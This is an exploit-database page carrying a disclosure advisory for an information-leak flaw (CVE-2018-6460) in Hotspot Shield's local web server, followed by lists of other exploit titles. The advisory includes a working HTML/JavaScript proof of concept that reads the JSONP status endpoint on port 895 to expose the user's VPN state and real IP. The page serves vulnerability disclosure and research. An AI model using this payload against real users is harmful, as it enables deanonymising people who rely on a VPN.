Menu

Search for hundreds of thousands of exploits

"Hotspot Shield - Information Disclosure"

Author

Exploit author

SecuriTeam

Platform

Exploit platform

windows

Release date

Exploit published date

2018-01-30

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
## Vulnerability Summary
The following advisory describes a information disclosure found in Hotspot Shield.

Hotspot Shield “provides secure and private access to a free and open internet. Enabling access to social networks, sports, audio and video streaming, news, dating, gaming wherever you are.”

## Credit
An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
“Thank you very much again for contacting us. The info is being reviewed and if there are any questions/comments, we’ll contact you by re-opening this ticket”

CVE: CVE-2018-6460

## Vulnerability details
The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895.

The web server using JSONP and hosts sensitive information, including, configuration.

User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

## Proof of Concept

```
<head>
<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
    alert(JSON.stringify(leak));
}
</script>
</head>
<script>
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.id = 'jsonp';
    script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
    head.appendChild(script);
</script>
```
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2018-10-04 "Cisco Prime Infrastructure - Unauthenticated Remote Code Execution" remote multiple SecuriTeam
2018-04-30 "Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free" dos linux SecuriTeam
2018-01-30 "Hotspot Shield - Information Disclosure" local windows SecuriTeam
2018-01-29 "iBall WRA150N - Multiple Vulnerabilities" webapps hardware SecuriTeam
2018-01-24 "Oracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape" local multiple SecuriTeam
2018-01-15 "GitStack - Remote Code Execution" webapps php SecuriTeam
2018-01-11 "Seagate Personal Cloud - Multiple Vulnerabilities" remote hardware SecuriTeam
2017-12-26 "Trustwave SWG 11.8.0.27 - SSH Unauthorized Access" remote linux SecuriTeam
2017-12-19 "Ichano AtHome IP Cameras - Multiple Vulnerabilities" remote hardware SecuriTeam
2017-12-13 "vBulletin 5 - 'routestring' Remote Code Execution" webapps multiple SecuriTeam
2017-12-13 "vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion" webapps multiple SecuriTeam
2017-12-06 "Dasan Networks GPON ONT WiFi Router H640X 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Remote Code Execution" webapps hardware SecuriTeam
2017-11-28 "Synology StorageManager 5.2 - Root Remote Command Execution" webapps cgi SecuriTeam
2017-11-23 "Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation" local linux SecuriTeam
2017-11-21 "DblTek - Multiple Vulnerabilities" webapps linux SecuriTeam
2017-11-07 "Ametys CMS 4.0.2 - Password Reset" webapps php SecuriTeam
2017-11-03 "GraphicsMagick - Memory Disclosure / Heap Overflow" dos multiple SecuriTeam
2017-11-01 "Cisco UCS Platform Emulator 3.1(2ePE1) - Remote Code Execution" remote linux SecuriTeam
2017-10-23 "K7 Total Security 15.1.0.305 - Device Driver Arbitrary Memory Read" dos windows SecuriTeam
2017-10-17 "Linux Kernel - 'AF_PACKET' Use-After-Free" dos linux SecuriTeam
2017-10-17 "Linux Kernel - 'AF_PACKET' Use-After-Free" dos linux SecuriTeam
2017-10-16 "Ikraus Anti Virus 2.16.7 - Remote Code Execution" remote windows SecuriTeam
2017-10-13 "FiberHome - Directory Traversal" webapps linux SecuriTeam
2017-10-09 "QNAP HelpDesk < 1.1.12 - SQL Injection" webapps php SecuriTeam
2017-10-09 "PHP Melody 2.7.3 - Multiple Vulnerabilities" webapps php SecuriTeam
2017-09-11 "Hanbanggaoke IP Camera - Arbitrary Password Change" webapps hardware SecuriTeam
2017-09-07 "McAfee LiveSafe 16.0.3 - Man In The Middle Registry Modification Leading to Remote Command Execution" webapps hardware SecuriTeam
2017-08-30 "Oracle Java JDK/JRE < 1.8.0.131 / Apache Xerces 2.11.0 - 'PDF/Docx' Server Side Denial of Service" dos php SecuriTeam
2017-08-03 "Horde Groupware 5.2.21 - Unauthorized File Download" webapps php SecuriTeam
2017-08-03 "Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure" webapps hardware SecuriTeam 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected